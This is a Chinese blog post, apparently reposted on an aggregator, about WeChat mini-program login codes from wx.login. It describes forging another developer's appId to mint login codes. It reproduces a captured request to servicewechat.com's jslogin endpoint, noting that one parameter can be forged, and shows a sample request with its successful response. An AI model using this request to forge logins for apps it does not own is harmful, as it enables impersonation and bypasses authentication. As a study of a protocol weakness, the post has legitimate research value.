zoukankan      html  css  js  c++  java
  • 小程序中wx.login 登录code

     

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
    本文链接:https://blog.csdn.net/getcomputerstyle/article/details/96285616

    小程序提供了一个auth验证接口,使小程序不需要额外登录,就可以让开发者获得用户的唯一标识openid。调用方法如下:

    	wx.login({ 
    		success:resp=>{
    			const code = resp.code;
    				//DoSomthing 携带code请求服务器
    		}
       	})
    

    经过测试发现,code没有顺序性,例如在一段时间内请求了多个code,随便选一个都可以在微信提供的接口上验证成功并获得Openid。但是每个code只能验证一次,并且只有五分钟时效性(未测试)。


    我要说的其实是伪造appId,从而获取code,并伪造登录。
    小程序开发工具里是不允许修改appId为一个自己不是开发者的appId值的,所以必须搞清楚wx.login的时候微信生成这些code的原理。

    经过给开发者工具设置代理并抓包,发现每次wx.login都进行了一次网络请求:
    在这里插入图片描述
    在这里插入图片描述
    这个请求是由以下几部分组成的:

    请求头:
    POST /wxa-dev-logic/jslogin?_r={{random}}&newticket={{ 用户的另一个唯一标识,可伪造 }}&appid={{appId}}&platform=0&ext_appid=&os=win&clientversion=1021905151&os=win&clientversion=1.02.1905151&osversion=6.1.7601 HTTP/1.1
    host: servicewechat.com
    content-length: 25
    Connection: close
    
    
    POST数据:
    {"scope":["snsapi_base"]}
    

    模拟请求就可以得到对应的code

    仅限学习和交流,请勿用于非法用途

    POST https://servicewechat.com/wxa-dev-logic/jslogin?_r=0.5017947553947279&newticket=Ut8cKsaT7CVs_g0Q4-N5araal0h_E-HjGSmLW8ltPC0&appid=wx4dd641aaf8f42f3f&platform=0&ext_appid=&os=win&clientversion=1022004020HTTP/1.1
    host: servicewechat.com
    content-length: 25
    Connection: close

    {"scope":["snsapi_base"]}

    HTTP/1.1 200 OK
    Connection: close
    Access-Control-Allow-Origin: *
    Content-Type: text/plain
    X-WX-FJ: 001,018,0000001024
    SKFrmwRespCookie: 6xinAiAKEAEoKjgEQARYIt4=
    Content-Length: 143

    {"baseresponse":{"errcode":0,"errmsg":"ok"},"code":"033oA8lG06MSAg2MYViG0s6dlG0oA8lI","scope_list":[],"appname":"","appicon_url":"","state":""}

     
  • 相关阅读:
    图解HTTP学习笔记——简单的HTTP协议
    Java编程思想学习笔记——类型信息
    Java编程思想学习笔记——字符串
    Java编程思想学习笔记——接口
    Java编程思想学习笔记——复用类
    Java编程思想学习笔记——类的访问权限
    ESLint
    关于常见继承的几种方法
    flux,redux,vuex状态集管理工具之间的区别
    商品放大镜效果
  • 原文地址:https://www.cnblogs.com/du-jun/p/12720945.html
Copyright © 2011-2022 走看看